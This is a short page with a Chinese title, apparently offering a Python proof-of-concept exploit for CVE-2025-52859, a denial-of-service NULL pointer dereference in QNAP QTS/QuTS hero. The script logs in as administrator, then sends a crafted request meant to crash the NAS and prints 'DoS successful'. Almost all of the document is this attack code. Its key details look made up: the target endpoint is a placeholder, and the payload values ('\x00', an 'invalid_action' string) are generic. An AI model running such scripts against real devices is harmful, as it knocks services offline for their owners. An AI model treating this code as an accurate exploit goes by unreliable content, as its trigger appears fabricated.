CVE-2025-52859 QNAP操作系统NULL指针解引用拒绝服务漏洞

# CVE-2025-52859 PoC - QNAP NULL Pointer Dereference DoS # Vulnerability: NULL pointer dereference in QNAP QTS / QuTS hero # Requirements: Valid administrator credentials # Impact: Denial of Service (system crash) import requests import sys TARGET_HOST = "https://<qnap-nas-ip>:8080" USERNAME = "admin" PASSWORD = "<admin_password>" def exploit_null_pointer_deref(): """ Exploit NULL pointer dereference vulnerability in QNAP QTS/QuTS hero. Requires valid admin credentials to authenticate first. Triggers a NULL pointer dereference in a system service to cause DoS. """ session = requests.Session() # Step 1: Authenticate as administrator login_url = f"{TARGET_HOST}/cgi-bin/authLogin.cgi" login_payload = { "user": USERNAME, "pwd": PASSWORD } try: resp = session.post(login_url, data=login_payload, verify=False, timeout=10) if resp.status_code != 200: print(f"[-] Login failed with status: {resp.status_code}") return False print("[*] Authenticated as administrator") except Exception as e: print(f"[-] Connection error: {e}") return False # Step 2: Send crafted request to trigger NULL pointer dereference # The malicious payload targets an internal service that fails to # validate a pointer before dereferencing it, causing a crash. exploit_url = f"{TARGET_HOST}/cgi-bin/<vulnerable_endpoint>.cgi" exploit_headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": session.cookies.get_dict() } exploit_payload = { # Crafted parameters designed to trigger NULL pointer dereference "param": "\x00", "action": "invalid_action_triggering_null_deref" } try: resp = session.post(exploit_url, data=exploit_payload, headers=exploit_headers, verify=False, timeout=10) print(f"[*] Exploit request sent, status: {resp.status_code}") except requests.exceptions.Timeout: print("[+] Target appears to have crashed (timeout) - DoS successful") return True except requests.exceptions.ConnectionError: print("[+] Target connection refused - service likely crashed - DoS successful") return True except Exception as e: print(f"[*] Request result: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-52859 - QNAP NULL Pointer Dereference DoS PoC") print(f"[*] Target: {TARGET_HOST}") exploit_null_pointer_deref()